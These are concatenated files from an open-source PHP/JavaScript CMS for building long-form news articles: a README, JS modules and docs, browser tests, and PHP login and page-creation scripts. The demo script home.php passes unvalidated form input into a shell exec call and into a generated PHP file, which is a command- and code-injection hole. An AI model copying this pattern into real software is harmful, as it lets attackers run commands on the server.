if ( fwrite($handle,$script) ){
echo $new_passwd; // return the final passwd
exit();
} else {
echo 'error creating passwd file "'.$passwd_filename.'"';
}
}
//
// if disabling, remove the file
//
if (isset($_POST["remove_translation"])) {
}
}
?><file_sep>/src/cms/api/validate_user.inc.php
<?php
session_start();
## uncomment the line below to disable user logins for the CMS
# also see header.inc.php
/*
return true;
*/
# get config for this page
# returns $page_dir, $url_path ...
require_once('config.inc.php');
# if not logged in
if (!isset($_SESSION['login'])){
# something fishy, logout for sure
header('Location: cms/api/logout.php');
die;
}
# user is logged in but login is for another page
if ($_SESSION['page_dir'] != $page_dir){
# log them out
header('Location: cms/api/logout.php?error=wrong_page');
die;
}
?><file_sep>/README.md
# Project CMS
A CMS for building 'long form' news articles using a simple, browser-based UI.
It's a very simple, open source alternative to services like [Shorthand.com](http://shorthand.com) and [Atavist.com](http://atavist.com).
* View an example article made using this CMS: [Trump-story](https://sc0ttj.github.io/Project/trump-story/)
* View the Arabic translation of the above article, also created using this CMS: [Trump-story-arabic](https://example-trump-story-arabic.netlify.com/)
Watch a quick demo:
[](https://youtu.be/RUE1-oomYek "CMS Demo Video")
The CMS features include:
* add, move, delete article sections, based on pre-defined templates
* edit the page contents inline using a built-in WYSIWYG editor
* translate pages using a built-in translation manager
* save the edited article and its assets as a bundled zip
--------------------------------------------------------
# User Manual
## i. Requirements
Apache 2, PHP 5.5, .htaccess files allowed
## ii. Installation
Download the latest release and User Guide from the [Releases page](https://github.com/sc0ttj/Project/releases).
Upload contents of the `www` folder inside the `.tar.gz` file to the root folder of your PHP-enabled Apache web server.
## iii. Creating editable pages
You should now visit `http://yoursite.com/index.php` to create a new page.
For example, enter 'my-cool-page' into the form. Then choose a password and click 'Create'.
Your new article will be created, and then click the button to go to it.
NOTE: You could also visit `http://yoursite.com/demo/` (password is '<PASSWORD>'), but it's best to create your own pages
## iv. Editing your pages
See the video above for a basic demo of how to use the CMS.
Then download the [User Guide](https://github.com/sc0ttj/Project/releases/download/v1.1.1/CMS.User.Guide.pdf) pdf.
## v. Exporting your pages
Just click 'Save to zip' in the CMS menu to save your edited article as a self-contained folder in a zip file.
The folder in the exported zip can then be uploaded anywhere you like.
--------------------------------------------------------
# Developer Notes
See the [Wiki](https://github.com/sc0ttj/Project/wiki), or the [Developer Docs](https://github.com/sc0ttj/Project/tree/master/docs).
To fork, and develop this project, read the info below.
#### Project Structure
* This is two apps - a static page and a CMS addon for editing the page
* The static page is in `src/app/`, and the CMS is in `src/cms/`
* The static page and its assets are built to `www/demo/`
* The CMS is built to `www/demo/cms/`
This project uses a dev environment (a VM) to spin up a pre-configured, PHP-enabled Apache webserver.
The dev environment requires: `Vagrant and VirtualBox`.
## 1. Optional auto-setup of host and dev environment (Ubuntu only!)
Installs Vagrant, Node, NPM, Bower, Sublime, etc
- open a terminal in this folder and run this command:
./setup-host-ubuntu-env.sh
- if you already have them, you can skip this step
- if you dont, you need to install Node, NPM, Bower, Vagrant and VirtualBox
## 2. Project setup and config:
After downloading this repo, and once you have NPM, Bower and Vagrant setup, you're ready to run the dev environment.
- In a terminal, run the following commands:
npm install
bower update
vagrant up --provision
Now you are ready to build the CMS from source.
- Run the following command to build the CMS source to `www/`
brunch build
## 3. Do your dev work:
- in a terminal, run this command to auto build the app after each save:
brunch watch
- Open the following address in your preferred browser:
http://localhost:8080/
- Make a new git branch for your new feature/bugfix:
git checkout -b my_new_branch
- Edit the code in `src/` and save, then view in your browser
- *If any `.tmpl` files were changed, restart `brunch watch` to recompile them!*
## 4. Adding new dependencies:
- Install static page deps with: `bower install --save`
- these end up in `www/demo/js/vendor.js`
- Install CMS deps with: `npm install --save`
- these end up in `www/demo/cms/js/vendor.js`
- Install build tool deps with: `npm install --save-dev`
- use this for things like brunch plugins and addons, etc
## 5. Testing:
Write your tests in `src/test/js/tests.js`
#### Running tests in the terminal:
- Run tests in the terminal:
npm test
PhantomJS is required. You can install it globally with `npm install phantomjs -g`.
#### Auto running tests in the browser:
- Build source with tests included (they will run in the browser):
npm start
You will see the tests run in the console window of your browser.
Tests will re-run automatically each time you update any files in `/src` and save the changes.
NOTE: The CMS will not use localStorage if `npm start` is running.
This gives the tests a fresh page to work on.
#### Test Driven Development (TDD)
Simply write tests while `npm start` is running:
Add a test then save, it will auto run, then fail. Then add some code to fix the test and save again. Finally, see that the test passes in the browsers console window.
As long as `npm start` is running, the browser will auto-refresh at each step and re-run your tests in the console window (dev tools/firebug, etc).
#### Device Testing:
To view on other devices, you can run the following command:
vagrant share --name myapp
You (and anyone else!) can then visit the following URL on any device:
http://myapp.vagrantshare.com
## 6. Saving your changes to GitHub:
If the tests pass and you're happy, save to github:
git add .
git commit -m 'my message'
git push origin my_new_branch
## 7. Release and Deploy
You can create downloadable, versioned releases of the CMS that can also be easily installed to a remote server.
Just follow the steps in [Release and Deploy](https://github.com/sc0ttj/Project/tree/master/build)
--------------------------------------------------------
# Example Use Cases
* Used as an online tool:
- build the source to `www/`, using `brunch build --production`
- upload contents of `www/` to `dev.example.com`
- visit `dev.example.com`
- enter desired article name and click 'Create' to create it
- edit article as required using the inline CMS
- download zip of finished page using the CMS main menu
- upload the zip contents to `live.example.com/my-page-name/`
* As an in-house scaffolding tool:
- create a local branch of this repo, called 'my-page-name'
- customise source files as required (`src/app/templates/index.tmpl`, etc )
- build app to `www/` using `brunch build`
- view page locally, test it, etc
- repeat above steps until page is ready
- download zip of finished page using the CMS main menu
- upload contents of zip to `live.example.com/my-page-name/`
<file_sep>/src/cms/js/modules/templater.js
// # templater.js
// A small module that uses [mustache.js](https://www.npmjs.com/package/mustache) to create HTML by combining
// `.tmpl` files and JSON data.
// See the templates in [src/app/templates/](https://github.com/sc0ttj/Project/tree/master/src/app/templates).
// Get our dependencies.
var $ = require('cash-dom'); // like jquery
var m = require('mustache'); // template compiler
// use strict setting
"use strict";
// Define the CommonJS module
module.exports = {
// ## Module Methods
// ### init()
//
init: function(){
var sections = this.getSections();
sections.each(this.numberTheSections);
return true // if we loaded ok
},
// ### getSections()
//
// @return `sections` - an HTML Collection of the sections of the page
getSections: function(){
var sections = $(cms.config.sectionSelector);
return sections;
},
// ### numberTheSections(elem, i)
// Adds a numberred class and id to the given element
//
// @param `elem` - the section to number
// @param `index` - the index position of the section
numberTheSections: function(elem, i){
$(elem).addClass('section' + (i+1));
$(elem).attr('id', 'section'+(i+1));
},
// ### renderTemplate(template, data)
// renders HTML from mustache templates
//
// @param `template` - string, a mustache template (see `src/app/templates/*.tmpl`)
// @param `data` - JSON object - the keys/values to populate the given template
// @return `html` - string, the compiled HTML output
renderTemplate: function(template, data){
m.parse(template); // caching
return m.render(template, data);
},
// End of module
};
<file_sep>/docs/test/js/test_runner.js.md
# Test Runner
This test runner is included in [_cms_script.tmpl](https://github.com/sc0ttj/Project/blob/master/src/app/templates/_cms-script.tmpl) if the CMS
was (re)built using `npm test` or `npm start`
```js
/**
* Sources: A Javascript test runner in 20 lines of code
* From http://joakimbeng.eu01.aws.af.cm/a-javascript-test-runner-in-20-lines/
* and https://gist.github.com/joakimbeng/8f57dae814a4802e2ae6
*/
```
### Main function: testRunner()
```js
(function testRunner() {
```
We get our tests array from separate file.
See [tests.js](https://github.com/sc0ttj/Project/blob/master/src/test/js/tests.js)
```js
var tests = require('tests');
```
#### Test Runner Methods
for pre and post test setup/cleanup
#### beforeAll(): before any tests have started
```js
this.beforeAll = function () {
console.log('Running tests..');
};
```
#### afterAll(): after all tests have finished
- hide the menu and
- remove any sections we added
- then reload the cms menu etc
```js
this.afterAll = function () {
cms.ui.hideMenu();
while($('.section').length > 1){
$('.section').last().remove();
}
cms.reload();
};
```
#### beforeEach(): before each test
- show test title/scenario,
- then reset page
```js
this.beforeEach = function (testToRun) {
if (testToRun) console.log('\nScenario: '+testToRun.name);
cms.ui.hideMenu();
};
```
#### afterEach(): after each test
- remove any CMS modals from the page
```js
this.afterEach = function (testToRun) {
$('.cms-modal').remove();
};
```
#### run(): go through tests array and run all tests:
The main loop will run through all tests and:
1. run beforeAll() to setup before any tests start
2. run beforeEach() to create setup before each test
3. run current test in the queue: call the test, run it, if error, exit and print errors, else go to next test
4. abort if last test failed or out of tests
5. teardown stuff after each test
```js
this.run = function run () {
var i = 0, testToRun;
beforeAll();
(function next (err) {
this.afterEach(testToRun);
if (err || !(testToRun = tests[i++])) return done(err);
this.beforeEach(testToRun);
try {
testToRun.test.call(testToRun.test, next);
} catch (err) {
next(err);
}
})();
```
#### done(): prints the error to console or terminal
@param err: the error produced by a try/catch
This func will:
- Show remaining tests as skipped,
- print final output,
- do clean up or teardown after all tests
```js
function done (err) {
console.log('\n');
tests.slice(i).map(function showSkippedTest(skippedTest) { console.log('skipped:', skippedTest.name); });
console.log('\n');
console[err ? 'error' : 'log']('Tests ' + (err ? 'failed ✘: "'+err.toString().substring(7)+'"\n\n' + err.stack : 'succeeded ✔'));
this.afterAll();
}
};
})();
```
All functions now defined.. We're ready..
So let's run the test runner:
```js
run();
```
------------------------
Generated _Sat Mar 25 2017 04:40:38 GMT+0000 (GMT)_ from [Ⓢ test_runner.js](test_runner.js "View in source")
<file_sep>/src/app/js/_enhancements/test1.js
module.exports = {
init: function (){
console.log('I ALSO load if we cut the mustard');
}
}<file_sep>/docs/cms/js/modules/section_manager.js.md
# section_manager.js
This module creates a popup modal dialog, with a list of page sections.
The user clicks on a section in the Section Manager to add it to the page,
as a new section.
The 'templates' option in the [CMS config](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/cms.js.md) defines which templates/sections are available to add.
Let's start - first, we get our dependencies.
```js
var $ = require('cash-dom');
```
Then set a persistent reference.
```js
var self;
```
Use strict setting.
```js
"use strict";
```
Define our CommonJS module.
```js
module.exports = {
```
## Module Methods
### init()
```js
init: function(){
self = this;
},
```
### showUI()
Show a modal popup dialog, listing the sections that can be added
```js
showUI: function () {
/* get html to be used in modal window */
self.sectionPreviews = self.getSectionPreviewImgs();
/* load modal */
cms.modal.create({
title: 'Section Manager',
contents: self.sectionPreviews
});
cms.modal.show();
/* get modal contents and add event handlers */
self.$previewImgs = $('.cms-modal-viewport').children();
self.$previewImgs.on('click', self.sectionPreviewClickHandler);
},
```
### getSectionPreviewImgs()
Get the preview images for each template defined in the CMS config
```js
getSectionPreviewImgs: function () {
var previewImgs = '';
cms.config.templates.forEach(function (section, i){
var previewImg = '<img id="'+section+'" src="cms/images/previews/'+section+'.png" alt="'+section+'" />';
previewImgs += previewImg;
});
return previewImgs;
},
```
### sectionPreviewClickHandler(e)
Click handler for the template preview images
```js
sectionPreviewClickHandler: function (e) {
self.getTemplateFromFile(this.id);
},
```
### getTemplateFromFile(template)
Get the markup from the chosen `.tmpl` file and the build the HTML
to be used.
@param `template` - string, the template file name (see list of valid templates in CMS config)
```js
getTemplateFromFile: function (template) {
cms.ajax.create('GET', 'templates/'+template);
/* onSuccessHandler()
* handle successful GET of template
* @param template - string, the mustache template markup
*/
var onSuccessHandler = function (template){
var sectionHtml = cms.templater.renderTemplate(template, cms.pageConfig);
/* we successfully got the template + data into section HTML, so let's
* so add the new section template to the page, and re-index all the
* page sections. Finally, reload the CMS and CMS menu.
*/
self.addTemplateToPage(sectionHtml);
self.reIndexSections();
cms.modal.hide();
/* setup the newly added section with the cms */
cms.ui.showMenu();
cms.reload();
};
/* onErrorHandler()
* handle failure to GET the template
*/
var onErrorHandler = function (){
alert('error');
};
/* run the ajax request */
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(null);
},
```
### addTemplateToPage(html)
Adds a new section to the page (index.html) then populates it with the
given HTML string
@param `html` - string, the HTML to add to the page, as a new section
```js
addTemplateToPage: function (html) {
$(cms.config.sectionSelector).last().after(cms.config.sectionContainer);
$(cms.config.sectionSelector).last().html(html);
},
```
### moveSectionUp(index)
@param `index` - int, the index of the section to move
```js
moveSectionUp: function (index) {
var $section = $('.section'+index);
$section.prev().before($section);
},
```
### moveSectionDown(index)
@param `index` - int, the index of the section to move
```js
moveSectionDown: function (index) {
var $section = $('.section'+index);
$section.next().after($section);
},
```
### removeSection(index)
@param `index` - int, the index of the section to remove
```js
removeSection: function (index) {
/* keep at least one section */
```
if ($(cms.config.sectionSelector).length < 2) return false;
```js
/* we're ok, so remove the section at the given index */
var $section = $('.section'+index);
$section.remove();
},
```
### reIndexSections()
Update all sections on the page (index.html), so that they are in correct
numerical order.
```js
reIndexSections: function () {
var $sections = $(cms.config.sectionSelector);
$sections.each(function(el, i){
var $el = $(this),
currentSection = '.section'+(i+1);
$(currentSection).removeClass('section'+(i+1));
$el.addClass('section'+(i+1));
$el.attr('id', 'section'+(i+1));
});
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ section_manager.js](section_manager.js "View in source")
<file_sep>/src/cms/js/modules/section_manager.js
// # section_manager.js
// This module creates a popup modal dialog, with a list of page sections.
// The user clicks on a section in the Section Manager to add it to the page,
// as a new section.
//
// The 'templates' option in the [CMS config](https://github.com/sc0ttj/Project/blob/master/docs/cms/js/cms.js.md) defines which templates/sections are available to add.
// Let's start - first, we get our dependencies.
var $ = require('cash-dom');
// Then set a persistent reference.
var self;
// Use strict setting.
"use strict";
// Define our CommonJS module.
module.exports = {
// ## Module Methods
// ### init()
init: function(){
self = this;
},
// ### showUI()
// Show a modal popup dialog, listing the sections that can be added
showUI: function () {
/* get html to be used in modal window */
self.sectionPreviews = self.getSectionPreviewImgs();
/* load modal */
cms.modal.create({
title: 'Section Manager',
contents: self.sectionPreviews
});
cms.modal.show();
/* set custom styling for export manager viewport items */
$('.cms-modal-viewport').addClass('cms-modal-viewport-sections');
/* get modal contents and add event handlers */
self.$previewImgs = $('.cms-modal-viewport').children();
self.$previewImgs.on('click', self.sectionPreviewClickHandler);
},
// ### getSectionPreviewImgs()
// Get the preview images for each template defined in the CMS config
getSectionPreviewImgs: function () {
var previewImgs = '';
cms.config.templates.forEach(function (section, i){
var previewImg = '<img id="'+section+'" src="cms/images/previews/'+section+'.png" alt="'+section+'" />';
previewImgs += previewImg;
});
return previewImgs;
},
// ### sectionPreviewClickHandler(e)
// Click handler for the template preview images
sectionPreviewClickHandler: function (e) {
self.getTemplateFromFile(this.id);
},
// ### getTemplateFromFile(template)
// Get the markup from the chosen `.tmpl` file and the build the HTML
// to be used.
//
// @param `template` - string, the template file name (see list of valid templates in CMS config)
getTemplateFromFile: function (template) {
cms.ajax.create('GET', 'templates/'+template);
/* onSuccessHandler()
* handle successful GET of template
* @param template - string, the mustache template markup
*/
var onSuccessHandler = function (template){
var sectionHtml = cms.templater.renderTemplate(template, cms.pageConfig);
/* we successfully got the template + data into section HTML, so let's
* so add the new section template to the page, and re-index all the
* page sections. Finally, reload the CMS and CMS menu.
*/
self.addTemplateToPage(sectionHtml);
self.reIndexSections();
cms.modal.hide();
/* setup the newly added section with the cms */
cms.ui.showMenu();
cms.reload();
};
/* onErrorHandler()
* handle failure to GET the template
*/
var onErrorHandler = function (){
alert('error');
};
/* run the ajax request */
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(null);
},
// ### addTemplateToPage(html)
// Adds a new section to the page (index.html) then populates it with the
// given HTML string
//
// @param `html` - string, the HTML to add to the page, as a new section
addTemplateToPage: function (html) {
$(cms.config.sectionSelector).last().after(cms.config.sectionContainer);
$(cms.config.sectionSelector).last().html(html);
},
// ### moveSectionUp(index)
//
// @param `index` - int, the index of the section to move
moveSectionUp: function (index) {
var $section = $('.section'+index);
$section.prev().before($section);
},
// ### moveSectionDown(index)
//
// @param `index` - int, the index of the section to move
moveSectionDown: function (index) {
var $section = $('.section'+index);
$section.next().after($section);
},
// ### removeSection(index)
//
// @param `index` - int, the index of the section to remove
removeSection: function (index) {
/* keep at least one section */
if ($(cms.config.sectionSelector).length < 2) return false;
/* we're ok, so remove the section at the given index */
var $section = $('.section'+index);
$section.remove();
},
// ### reIndexSections()
// Update all sections on the page (index.html), so that they are in correct
// numerical order.
reIndexSections: function () {
var $sections = $(cms.config.sectionSelector);
$sections.each(function(el, i){
var $el = $(this),
currentSection = '.section'+(i+1);
$(currentSection).removeClass('section'+(i+1));
$el.addClass('section'+(i+1));
$el.attr('id', 'section'+(i+1));
});
},
//
// End of module
};
<file_sep>/src/test/js/tests.js
// # Tests.js
// This file returns the array "tests" as soon as it is required.
// It is required by [test_runner.js](https://github.com/sc0ttj/Project/blob/master/src/test/js/test_runner.js)
// define the module as a self executing func,
// so it runs as soon as it is required
module.exports = (function returnTests(){
// define the list of tests to return to test_runner
var tests = [];
// #### test(name, cb)
// creates the list (array) of tests to return:
// @param name - the name of the test
// @param cb - the test function to run
var test = function (name, cb) {
tests.push({name: name, test: cb});
};
// Use an alternative command
var describe = test;
// #### assert(condition, message)
/* Based on "World's smallest assertion library" by @snuggsi
* (https://twitter.com/snuggsi/status/565531862895169536)
*/
// @param condition - the code to execute and test
// @param message - the message to print on error
var assert = function (condition, message) {
if (!condition) {
console.error(' ✘ '+message);
throw new Error(message);
}
/* if test is run by PhantomJS, dont style the console output */
if (/PhantomJS/.test(window.navigator.userAgent)) {
console.log(' ✔ '+message);
} else {
console.log('%c ✔ '+message, 'color: #005500;');
}
};
// #### expect(message, condition)
// an alternative syntax for assert:
// @param condition - the code to execute and test
// @param message - the message to print on error
var expect = function (message, condition) {
assert(condition, message);
};
// ## Create the tests
// Make sure the page has the correct number of objects and classes on init
test('page has valid HTML', function(done){
expect('page <head> count to be more than zero', $('head').length > 0);
expect('page <body> count to be more than zero', $('body').length > 0);
expect('<body> has class "cms-html5"', $('body').hasClass('cms-html5') > 0);
done();
});
// Make sure the page has only 1 section on init
test('page has 1 section', function(done){
expect('page to have 1 section', $('.section').length === 1);
done();
});
// Make sure the button for the CMS menu has loaded up and is visible
test('page has a CMS menu', function(done){
expect('page to have 1 CMS menu button', $('.cms-menu-btn').length === 1);
expect('CMS menu button to be visible', $('.cms-menu-btn').hasClass('cms-hidden') === false);
done();
});
// Make sure the CMS menu itself is hidden on page load
test('the CMS menu is hidden', function(done){
expect('CMS menu is hidden on page load', $('.cms-menu').hasClass('cms-ui-hidden') === true);
done();
});
// Click the menu button to show the menu
test('show CMS menu', function(done){
cms.ui.showMenu();
expect('CMS menu to be visible', $('.cms-menu').hasClass('cms-ui-hidden') === false);
done();
});
// Click the button again to hide the menu
test('hide CMS menu', function(done){
cms.ui.hideMenu();
expect('CMS menu to be hidden', $('.cms-menu').hasClass('cms-ui-hidden') === true);
done();
});
/*Logout test should go here ... need to mock the cms/api/ stuff in test dir */
// show the file manager using the CMS menu
test('show the file manager', function(done){
cms.fileManager.showUI();
expect('the File Manager header to be visible', $('.cms-modal-viewport').hasClass('cms-modal-file-manager') === true);
done();
});
// Check the meta manager pops up OK
test('show the META manager', function(done){
cms.metaManager.showUI();
expect('the META Manager header to be visible', $('.cms-meta-form')[0].length > 0);
done();
});
// Check the translation manager pops up OK
test('show the Translation manager', function(done){
cms.translationManager.showUI();
expect('the Translation manager heading to be visible', $('.cms-modal-header')[0].innerText == 'Manage Translations');
done();
});
// Check the preview manager pops up OK
test('show the Preview manager', function(done){
cms.previewManager.showUI();
expect('the Preview Manager header to be visible', $('.cms-modal-viewport').hasClass('cms-modal-viewport-previewer'));
done();
});
// Check the preview manager iframe window can be resized
test('the preview window resizes to given dimensions', function(done){
var oldHeight, height;
cms.previewManager.showUI();
/* get viewport height */
oldHeight = $('#pagePreview')[0].width;
/* resize it */
$('.cms-iframe-resizer-btn')[0].click();
/* get new height */
height = $('#pagePreview')[0].height;
expect('height of iframe #pagePreview should have changed', oldHeight !== height);
done();
});
// check the section manager pops up OK
test('the CMS shows the Section Manager', function(done){
cms.sectionManager.showUI();
assert($('.cms-modal-header')[0].innerText == 'Section Manager', 'the Section Manager should be visible');
done();
});
// add a section to the page
test('the CMS adds a section', function(done){
cms.sectionManager.showUI();
cms.sectionManager.getTemplateFromFile('_article-full-width.tmpl');
setTimeout(function asyncAssert(){
assert($('.section').length == 2, 'the CMS should have 2 sections');
done();
}, 400);
});
// add an inline image and make sure it appears in the correct place
test('the CMS adds an inline image', function(done){
mediaBtnClickHandler($('.section2 p')[0]);
expect('page added one inline-image', $('.section2 .inline-image').length === 1);
expect('inline-image is not inside paragraph', $('.section2 p .inline-image').length === 0);
expect('inline-image is inside editable-region', $('.section2 div.cms-editable-region img.inline-image').length === 1);
done();
});
// move a section up the page
test('the CMS moves a section up', function(done){
$('.cms-menu-item-icon-up')[1].click();
assert($('.section1 .article-full-width').length > 0, 'the CMS should move a section up');
done();
});
// move a section down the page
test('the CMS moves a section down', function(done){
$('.cms-menu-item-icon-down')[0].click();
assert($('.section2 .article-full-width').length > 0, 'the CMS should move a section down');
done();
});
// delete a section
test('the CMS deletes a section', function(done){
$('.cms-menu-item-icon-delete')[1].click();
assert($('body .article-full-width').length === 0, 'the CMS should delete a section');
done();
});
// check the image manager pops up OK
test('clicking images shows Image Manager', function(done){
$('.hero-center picture')[0].click();
assert($('.cms-modal-header')[0].innerText == 'Image Manager', 'images should be clickable and show Image Manager');
done();
});
// check the video manager pops up OK
test('clicking video shows Video Manager', function(done){
cms.sectionManager.showUI();
cms.sectionManager.getTemplateFromFile('_video-full-width.tmpl');
setTimeout(function asyncAssert(){
$('video')[0].click();
assert($('.cms-modal-header')[0].innerText == 'Video Manager', 'videos should be clickable and show Video Manager');
done();
}, 400);
});
/* add more tests here */
// we have our tests, return them to test_runner.js and exit this script
return tests;
//
//
// ## Examples tests below
// Example tests, using assert()
/* normal test */
test('1+1 equals 2', function runTest(done) {
assert(1+1 === 2, '1+1 should be 2');
done();
});
/* async test */
test('1+1 equals 2', function runTest(done) {
setTimeout(function asyncAssert(){
assert(1+1 === 2, '1+1 should be 2');
done();
}, 400);
});
// Example tests, using expect()
/* normal test */
test('1+1 = 2', function runTest(done) {
expect('1+1 to equal 2', 1+1 === 2);
done();
});
/* async test */
test('1+1 = 2', function runTest(done) {
setTimeout(function asyncExpect(){
expect('1+1 to equal 2', 1+1 === 2);
done();
}, 400);
});
})();
<file_sep>/src/cms/api/header.inc.php
<?php
#
# Example login management - header file .. included by the main "index.html" file
#
# 1. This page redirects to login until admin passwd is given, then will load as normal
#
# 2. If a translator is trying to login (not admin), keep this info in a php session
#
# 3. Admin and translators each have their own passwords, that is why
#
# 4. All users have unique pwords so only admin can edit english, and translators
# cant edit each others work
session_start();
## uncomment the 3 lines below to disable user logins
## also see validate_user.inc.php
/*
require_once('config.inc.php');
$_SESSION['login'] = true;
$_SESSION['page_dir'] = $page_dir;
*/
# if not logged in
if (!isset($_SESSION['login'])){
# if translation URL
if(isset($_GET['translate'])){
# update to latest translate value
$_SESSION['translate'] = $_GET['translate'];
} else {
# no ?translate=foo in URL
# so remove translator login attempt session
# this will force login.php back to default behaviour (to ask for admin passwd)
unset($_SESSION['translate']);
}
# user not logged in, redirect to login page
header('Location: cms/api/login.php');
die;
#
# user is logged in
#
} else {
$page_dir = basename(dirname($_SERVER['SCRIPT_FILENAME'])); # will equal "demo" .. or "my-page-name"
# user is logged in but login is for another page
if ($_SESSION['page_dir'] != $page_dir){
# log them out
header('Location: cms/api/logout.php?error=wrong_page');
die;
}
# we deal with logged in translators here
if (isset($_SESSION['translate'])){
if (!isset($_GET['translate'])){
# ?translate=foo is not present in their URL
# so their translation editor will not load up...
# so we will show preview.html page, instead of the editable index.html
header('Location: preview.html');
die;
} else if ($_SESSION['translate'] != $_GET['translate']){
# if translator logged in but trying to get the wrong LANG
# logout the translator out
header('Location: cms/api/logout.php?error=wrong_translation');
die;
}
}
}
?><file_sep>/src/_extra-stuff/home.php
<?php
// example,test,demo homepage: for creating new editable pages
ini_set('display_errors',1);
error_reporting(E_ALL);
$header = "Create a new page";
// user has submitted
if (isset($_POST['url'])){
// validation here
// ...
//
// no errors, so build page here
# if page already created, just go there
$oldfile = $_SERVER['DOCUMENT_ROOT'] . '/demo/index.html';
$newfile = $_SERVER['DOCUMENT_ROOT'] . '/' . basename($_SERVER['HTTP_REFERER']) . '/' . $_POST['url'].'.html';
if (file_exists($newfile)){
header('Location: '.$newfile);
}
# get the source and destination values
# (we will copy "./demo" to "./$name-given", later)
$src = $_SERVER['DOCUMENT_ROOT']."/demo";
$dest = $_SERVER['DOCUMENT_ROOT'] . '/' . $_POST['url'];
# create a config script for this new page install
$config_script_path = $dest."/cms/api/config.inc.php";
# now build the script
$config_script = '<?php
# this script was generated by home.php ..
# and contains some vars that the CMS can use
$page_dir = "'.$_POST['url'].'";
$url_path = "/'.$_POST['url'].'/";
?>';
# set a default password for the page
# then replace with the passwd given by user
$password = password_hash('<PASSWORD>', PASSWORD_DEFAULT);
if (isset($_POST['password'])) {
$password = password_hash($_POST['password'], PASSWORD_DEFAULT);
}
# create the script which will hold the passwd
# this will by accessed by login script and CMS translaton manager
$passwd_script_path = $dest."/cms/api/passwds/admin.php";
# now the script
$passwd_script = '<?php
# login.php is requiring the passwd, so give it the $var
$valid_password = \''.$password.'\';
?>';
//
// here we copy www/demo/ to the new folder name
//
if ( !exec("cp -Rv ". $src . "/ " . $dest . "/") ) {
echo "copy failed";
exit ();
} else {
// copy was a success,
//now add the config script for this page
$myconfig = fopen($config_script_path, "w");
fwrite($myconfig, $config_script);
fclose($myconfig);
// now add the custom password for this page
$myfile = fopen($passwd_script_path, "w");
fwrite($myfile, $passwd_script);
fclose($myfile);
}
// page was built, so output the details
$header = "Page created";
$fullUrl = 'http://' . $_SERVER['SERVER_NAME'] . '/' . $_POST['url'] . '/';
$html = '
<div class="box">
<div class="box-block">
<span class="span">Article URL:</span>
<div class="field">'.$fullUrl.'</div>
</div>
<div class="btn-block">
<button name="create" type="submit" id="submit-btn" value="create"><a href="./'.$_POST['url'].'">Edit page</a></button>
</div>
</div>';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="title" content="Create a new page">
<meta name="description" content="Add page details and create it.">
<title>Create a page</title>
<style>
body, form, label, span, input, button {
box-sizing: border-box;
color: #ddd;
font-weight: bold;
font-family: Sans-serif, serif;
font-size: 1.2rem;
line-height: 1.4rem;
}
body {
background-color: #222;
color: #eee;
margin: 0;
letter-spacing: 1px;
}
form, .box {
background-color: #333;
margin: 0 auto;
padding: 20px;
position: relative;
max-width: 450px;
}
.form-block, .box-block {
box-sizing: border-box;
padding: 0;
margin: 0;
width: 100%;
}
.form-block p, .box-block p {
display: block;
text-align: left;
color: #777;
font-size: 1rem;
}
.span {
display: inline-block;
padding: 16px;
width: 100%;
min-width: 280px;
text-align: left;
}
.box .input, input[type="text"], input[type="password"], input[type="date"], input[type="datetime"], input[type="datetime-local"] {
background-color: #444;
border: 0;
color: #eee;
min-width: 260px;
padding: 8px 12px;
width: 100%;
}
.btn-block {
margin-top: 40px;
text-align: center;
}
button {
background-color: #222;
border: 0;
color: #fff;
padding: 16px;
}
button:hover {
background-color: #0074D9;
cursor: pointer;
}
.field {
background-color: #444;
padding: 16px;
}
button a {
color: #fff;
text-decoration: none;
}
</style>
</head>
<body>
<center>
<h1><?php echo $header; ?></h1>
</center>
<?php
if (isset($_POST['url'])){
// show form results as confirmation
echo $html;
} else {
// show the form
?>
<form action="" method="post">
<div class="form-block">
<div class="form-block">
<label>
<span class="span">Article URL:</span>
<input type="text" tabindex="1" name="url" pattern="^[a-zA-Z0-9\-]+$" value="<?php if(isset($_POST['url'])) { echo $_POST['url']; } ?>" placeholder="my-article-name" required="required">
</label>
<p>The page URL. Accepts only letters A-Z, numbers and dashes.</p>
<label>
<span class="span">Password:</span>
<input type="password" tabindex="1" name="password" value="" required="required">
</label>
<p>The login password for this page.</p>
</div>
<div class="btn-block">
<?php
if (isset($_POST['continue'])){ // user has clicked first btn, now show "create page" confirmation
?>
<button name="create" type="submit" id="submit-btn" value="create">Create page</button>
<?php
} else { // user not yet sbmitted the form, show the "continue" button first
?>
<button name="continue" type="submit" id="submit-btn" value="continue">Continue</button>
<?php
}
?>
</div>
</form>
<?php
}
?>
</body>
</html><file_sep>/docs/app/js/app.js.md
# app.js
The main app file
This file is included in [index.tmpl](https://github.com/sc0ttj/Project/blob/master/src/app/templates/index.tmpl)
This file will do the following:
- include module loading deps
- add html5 and JS classes to page body, if those features detected
- initiliase the scrollMonitor (for animations, tracking)
- initialise the template JS behaviours (scroll anims, video auto-pause etc)
Let's begin:
Include our dependencies
```js
var loadCSS = require('modules/loadcss').init;
var loadJS = require('modules/loadjs');
var pageConfig = require('page_config.js');
"use strict";
```
## Methods
#### init()
This func is executed in index.html (the main page)
as soon as the page loads.
```js
init: function(){
/* set page defaults */
this.pageConfig = pageConfig;
/* we know js is enabled now, mark it */
$('body').addClass('js');
/* add html5 extras */
if (this.cutsTheMustard()){
/* add mustard (enables css animations) */
$('body:not(.html5)').addClass('html5');
/* init the various templates that use js */
this.fixedImage.init();
this.scrollmation.init();
this.statText.init();
this.video.init();
}
},
```
#### reload()
This func is called by the CMS after adding/removing a section.
```js
reload: function () {
this.fixedImage.init();
this.scrollmation.init();
this.statText.init();
this.video.init();
scrollMonitor.update();
scrollMonitor.recalculateLocations();
},
```
#### cutsTheMustard()
Checks if the users browser is up to scratch,
returns either true or false
```js
cutsTheMustard: function () {
var cutsTheMustard = (
'querySelector' in document
&& 'localStorage' in window
&& 'addEventListener' in window);
return cutsTheMustard;
},
```
#### loadStylesheet()
This func is used to load stylesheets dynamically
@param `file` - the relative path to the css file to load
```js
loadStylesheet: function (file) {
loadCSS(file);
},
```
#### loadModules()
This func takes an array of module names. The names must match
